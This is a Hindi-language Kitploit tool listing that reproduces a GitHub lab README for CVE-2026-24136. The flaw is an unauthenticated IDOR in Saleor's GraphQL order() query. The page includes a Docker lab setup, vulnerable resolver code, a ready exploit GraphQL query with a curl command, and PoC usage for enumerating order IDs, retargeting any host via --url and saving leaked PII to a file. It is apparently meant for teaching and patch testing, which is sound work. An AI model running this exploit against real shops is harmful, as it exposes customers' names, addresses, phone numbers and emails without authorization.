Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-24136-Lab — CVE-2026-24136 | Saleor GraphQL पर IDOR भेद्यता शोषण प्रयोगशाला - query order() प्रमाणीकरण की जाँच नहीं करता, ग्राहकों की संपूर्ण PII (ईमेल, पता, फ़ोन नंबर) उजागर करता है। Docker वातावरण, seed data स्क्रिप्ट और PoC शामिल है। CVSS 4.0: 8.7 HIGH। | Kitploit
उपकरण/GitHubGitHub/blankbire/cve-2026-24136-lab
भेद्यता विश्लेषणवेब एप्लिकेशन शोषणएपीआई सुरक्षा परीक्षणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षालैब और अभ्यास
GitHubblankbire/cve-2026-24136-lab

CVE-2026-24136-Lab

CVE-2026-24136 | Saleor GraphQL पर IDOR भेद्यता शोषण प्रयोगशाला - query order() प्रमाणीकरण की जाँच नहीं करता, ग्राहकों की संपूर्ण PII (ईमेल, पता, फ़ोन नंबर) उजागर करता है। Docker वातावरण, seed data स्क्रिप्ट और PoC शामिल है। CVSS 4.0: 8.7 HIGH।

रिपॉजिटरी देखें
1133 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-24136 - Saleor GraphQL IDOR / अनधिकृत PII निष्कर्षण

अवलोकन

क्षेत्रविवरण
CVE IDCVE-2026-24136
भेद्यता प्रकारIDOR - उपयोगकर्ता-नियंत्रित कुंजी के माध्यम से प्राधिकरण उपन्यास (CWE-639)
सॉफ्टवेयरSaleor ई-कॉमर्स प्लेटफ़ॉर्म
प्रभावित संस्करण3.2.0 - 3.20.109 · 3.21.0 - 3.21.44 · 3.22.0 - 3.22.28
पैच किए गए संस्करण3.20.110 · 3.21.45 · 3.22.29
CVSS 3.17.5 HIGH (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
CVSS 4.08.7 HIGH
प्रभावअनधिकृत अभिनेता किसी भी ऑर्डर का PII (नाम, पता, फोन, ईमेल) पढ़ सकता है
प्रमाणीकरण आवश्यक?नहीं

भेद्यता का विवरण

Saleor ई-कॉमर्स ऑर्डर प्रबंधित करने के लिए एक GraphQL API प्रदान करता है। क्वेरी order(id: $id) ग्लोबल ID के अनुसार एक ऑर्डर का विस्तृत विवरण प्राप्त करने की अनुमति देती है। प्रभावित संस्करणों में, यह क्वेरी यह जांच नहीं करती कि कॉल करने वाले के पास उस ऑर्डर को देखने का अधिकार है या नहीं।

कोई भी, यहां तक कि पूरी तरह से गुमनाम उपयोगकर्ता जिसके पास कोई खाता नहीं है, इस क्वेरी को कॉल कर सकता है और ग्राहक का संपूर्ण PII प्राप्त कर सकता है: ईमेल, पूरा नाम, शिपिंग पता, फोन नंबर, लॉगिन इतिहास।


लैब संरचना

cve-2026-24136-lab/
├── docker-compose.yml          # मृदा प्रयोगशाला (Saleor 3.20 + PostgreSQL + Redis)
├── setup_lab.ps1               # स्वचालित प्रारंभ स्क्रिप्ट (Windows PowerShell)
├── setup_lab.sh                # स्वचालित प्रारंभ स्क्रिप्ट (Linux / WSL / macOS)
├── README.md
└── scripts/
    ├── start_api.sh            # स्टार्टअप रैपर: wsgi bug + gunicorn पैच करें
    ├── seed_data.py            # PII के साथ पीड़ित खाते और ऑर्डर बनाएं
    └── poc_cve_2026_24136.py   # शोषण PoC

लैब प्रारंभ करना

आवश्यकताएँ

  • Docker Desktop (Windows / macOS) या Docker Engine (Linux)
  • Python 3.8+
  • pip install requests

विंडोज (PowerShell)

# यदि आवश्यक हो तो निष्पादन नीति सेट करें
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process

# स्वचालित सेटअप चलाएँ
.\setup_lab.ps1

लिनक्स / WSL / macOS (Bash)

chmod +x setup_lab.sh
./setup_lab.sh

मैनुअल

# 1. कंटेनर प्रारंभ करें
docker compose up -d

# 2. API तैयार होने की प्रतीक्षा करें (~60-90 सेकंड)
#    जाँच करें: curl http://localhost:8000/health/

# 3. व्यवस्थापक खाता बनाएँ
docker exec cve_saleor_api python manage.py shell -c \
  "from django.contrib.auth import get_user_model; U=get_user_model(); \
   U.objects.filter(email='[email protected]').exists() or \
   U.objects.create_superuser('[email protected]', 'admin')"

# 4. उत्पाद/चैनल जोड़ें
docker exec cve_saleor_api python manage.py populatedb

# 5. पीड़ित डेटा बनाएँ (खाते + PII वाले ऑर्डर)
cd scripts
pip install requests
python seed_data.py

प्रारंभ के बाद एंडपॉइंट:

सेवाURL
Saleor GraphQL APIhttp://localhost:8000/graphql/
GraphQL Playgroundhttp://localhost:8000/graphql/
Saleor Dashboardhttp://localhost:9000
व्यवस्थापक[email protected] / admin

PoC का उपयोग

cd scripts

# तकनीकी स्पष्टीकरण देखें
python poc_cve_2026_24136.py explain

# सीडेड सूची से शोषण (अनुशंसित - Saleor 3.x UUID IDs का उपयोग करता है)
python poc_cve_2026_24136.py file order_ids.json

# सीधे base64 ग्लोबल ID का उपयोग करके एक ऑर्डर का शोषण करें
python poc_cve_2026_24136.py single T3JkZXI6NDYwZDFlMjct...

# अनुक्रमिक गणना (केवल Saleor < 3.x पर काम करता है जो integer IDs का उपयोग करता है)
python poc_cve_2026_24136.py enumerate --start 1 --end 100

# लक्ष्य API बदलें
python poc_cve_2026_24136.py --url http://192.168.1.100:8000/graphql/ file order_ids.json

# परिणाम JSON में सहेजें
python poc_cve_2026_24136.py file order_ids.json --output leaked_pii.json

नमूना आउटपुट

[*] Loaded 6 Order IDs from order_ids.json
[*] Querying without authentication...

[*] Trying: T3JkZXI6NDYwZDFlMj... (Order:460d1e27-2b0b-4897-84c9-64b524b08d64)

╔══════════════════════════════════════════════════════════════╗
║  [लीक] ऑर्डर #41 -- ड्राफ्ट                                 ║
╠──────────────────────────────────────────────────────────────╣
║  ईमेल           : [email protected]                         ║
╠──────────────────────────────────────────────────────────────╣
║  बिलिंग पता : Nguyen Van A                              ║
║    सड़क        : 123 Le Loi Street                         ║
║    शहर/पिन     : HO CHI MINH CITY 700000                   ║
║    देश       : Vietnam                                   ║
║    फ़ोन         : +84901234567                              ║
╚══════════════════════════════════════════════════════════════╝

[*] सफलतापूर्वक 6/6 ऑर्डर लीक हुए

मूल कारण विश्लेषण

1. ऑर्डर ID एन्कोडिंग

Saleor Relay GraphQL स्पेक के अनुसार "Global Object Identification" का उपयोग करता है। प्रत्येक ऑब्जेक्ट को एक ग्लोबल ID द्वारा पहचाना जाता है जिसका रूप है:

base64("<TypeName>:<internal_id>")

Saleor 3.x में ऑर्डर के लिए:

# internal_id UUID v4 है
internal_id = "460d1e27-2b0b-4897-84c9-64b524b08d64"
global_id   = base64("Order:" + internal_id)
            = "T3JkZXI6NDYwZDFlMjctMmIwYi00ODk3LTg0YzktNjRiNTI0YjA4ZDY0"

नोट: Saleor 2.x पूर्णांक अनुक्रमिक IDs (Order:1, Order:2, ...) का उपयोग करता है, इसलिए गणना करना आसान है।
Saleor 3.x UUID में स्थानांतरित हो गया है, इसलिए हमलावर को UUID को किसी अन्य तरीके (ऑर्डर पुष्टिकरण ईमेल, URL लीक, आदि) से प्राप्त करना होगा।

2. त्रुटि उत्पन्न करने वाला कोड खंड

फ़ाइल: saleor/graphql/order/resolvers.py

# दोषपूर्ण संस्करण (पैच से पहले)
def resolve_order(root, info, id):
    """ID द्वारा ऑर्डर हल करें – कोई प्राधिकरण जाँच नहीं है।"""
    _, pk = from_global_id_or_error(id, Order)
    return qs.filter(pk=pk).first()
    # कोई भी कॉल करने वाले को डेटा मिलता है, कोई उपयोगकर्ता जाँच नहीं, कोई सत्र जाँच नहीं

फ़ाइल: saleor/graphql/order/schema.py

# क्वेरी परिभाषा, कोई अनुमति घोषित नहीं
class OrderQueries:
    order = graphene.Field(
        Order,
        description="Look up an order by ID.",
        id=graphene.Argument(graphene.ID, description="ID of the order."),
    )

    def resolve_order(self, info, id):
        return resolvers.resolve_order(info, id)
        # कोई @permission_required नहीं, कोई गार्ड नहीं

3. शोषण GraphQL क्वेरी

भेजी गई क्वेरी में Authorization हेडर नहीं है:

query ExploitOrder($id: ID!) {
  order(id: $id) {
    number
    status
    userEmail
    billingAddress {
      firstName
      lastName
      streetAddress1
      city
      postalCode
      phone
    }
    shippingAddress {
      firstName
      lastName
      phone
    }
    user {
      email
      firstName
      lastName
      lastLogin
      isActive
    }
  }
}
# curl का उपयोग करके भेजें, टोकन की आवश्यकता नहीं
curl -s http://localhost:8000/graphql/ \
  -H "Content-Type: application/json" \
  -d '{
    "query": "query { order(id: \"T3JkZXI6NDYwZDFlMj...\") { number userEmail billingAddress { phone } } }"
  }'

# प्रतिक्रिया (प्रमाणीकरण की आवश्यकता नहीं):
# {"data":{"order":{"number":"41","userEmail":"[email protected]","billingAddress":{"phone":"+84901234567"}}}}

4. हमला प्रवाह

टूल डाउनलोड करें